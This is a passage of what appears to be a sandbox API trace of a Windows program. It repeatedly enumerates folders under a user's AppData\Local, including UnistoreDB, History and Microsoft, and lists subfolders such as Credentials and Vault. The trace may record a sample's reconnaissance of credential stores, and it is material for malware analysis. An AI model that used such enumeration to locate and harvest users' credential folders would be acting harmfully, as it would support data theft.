lpOldMode=0x1dc9cbe0) returned 1 [0217.637] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\UnistoreDB", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\UnistoreDB", lpFilePart=0x0) returned 0x34 [0217.637] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\UnistoreDB\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\unistoredb\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.639] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.640] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23a0d188, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23a0d188, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xe22f57b6, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x600000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.vol", cAlternateFileName="")) returned 1 [0217.640] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239e71ab, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x239e71ab, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x9867d3ae, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.chk", cAlternateFileName="")) returned 1 [0217.640] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2399ab8b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2399ab8b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xe22f57b6, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.log", cAlternateFileName="")) returned 1 [0217.640] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239c0dc2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x239c0dc2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239c0dc2, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00001.jrs", cAlternateFileName="USSRES~1.JRS")) returned 1 [0217.640] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239c0dc2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x239c0dc2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239c0dc2, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00002.jrs", cAlternateFileName="USSRES~2.JRS")) returned 1 [0217.640] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2399ab8b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2399ab8b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xdd289e64, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.log", cAlternateFileName="")) returned 1 [0217.640] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.641] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.641] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\UnistoreDB", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\UnistoreDB", lpFilePart=0x0) returned 0x34 [0217.642] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\UnistoreDB\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\unistoredb\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.643] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.643] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23a0d188, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23a0d188, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xe22f57b6, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x600000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.vol", cAlternateFileName="")) returned 1 [0217.643] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239e71ab, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x239e71ab, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x9867d3ae, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.chk", cAlternateFileName="")) returned 1 [0217.643] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2399ab8b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2399ab8b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xe22f57b6, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.log", cAlternateFileName="")) returned 1 [0217.643] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239c0dc2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x239c0dc2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239c0dc2, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00001.jrs", cAlternateFileName="USSRES~1.JRS")) returned 1 [0217.644] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239c0dc2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x239c0dc2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239c0dc2, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00002.jrs", cAlternateFileName="USSRES~2.JRS")) returned 1 [0217.644] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2399ab8b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2399ab8b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xdd289e64, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.log", cAlternateFileName="")) returned 1 [0217.644] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2399ab8b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2399ab8b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xdd289e64, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.log", cAlternateFileName="")) returned 0 [0217.644] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0217.645] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\History", lpFilePart=0x0) returned 0x2b [0217.645] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\History\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\history\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d340) returned 1 [0217.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0217.649] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\History", lpFilePart=0x0) returned 0x2b [0217.649] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\History\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\history\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d340) returned 1 [0217.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0217.651] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x2d [0217.651] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.652] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.652] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v2.0", cAlternateFileName="")) returned 1 [0217.652] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x5b2eec3b, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0", cAlternateFileName="")) returned 1 [0217.652] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0_32", cAlternateFileName="CLR_V4~1.0_3")) returned 1 [0217.653] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x44687ae6, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x82fb51b0, ftLastAccessTime.dwHighDateTime=0x1d8a649, ftLastWriteTime.dwLowDateTime=0x82fb51b0, ftLastWriteTime.dwHighDateTime=0x1d8a649, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0217.653] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0217.653] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ec4ba, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0217.653] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a17d745, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a184b86, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0217.653] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809248a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xc7db342, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameDVR", cAlternateFileName="")) returned 1 [0217.653] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0217.654] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallAgent", cAlternateFileName="INSTAL~1")) returned 1 [0217.654] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4137bbef, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x1cf9579, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x1cf9579, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0217.654] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40f9be3f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40f9be3f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40f9be3f, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0217.654] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5781bc17, ftCreationTime.dwHighDateTime=0x1d7046d, ftLastAccessTime.dwLowDateTime=0x696efe32, ftLastAccessTime.dwHighDateTime=0x1d7046d, ftLastWriteTime.dwLowDateTime=0x696efe32, ftLastWriteTime.dwHighDateTime=0x1d7046d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0217.654] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87b49234, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb1ac323a, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2c68d12, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0217.655] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a11bc67, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x847a2bfc, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x847a2bfc, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0217.655] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayReady", cAlternateFileName="PLAYRE~1")) returned 1 [0217.655] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb898985, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb898985, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xb9574d8, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0217.655] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf65ec342, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf65ec342, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0217.655] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87ca06a1, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87ca06a1, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0217.656] FindNextFileW (in: 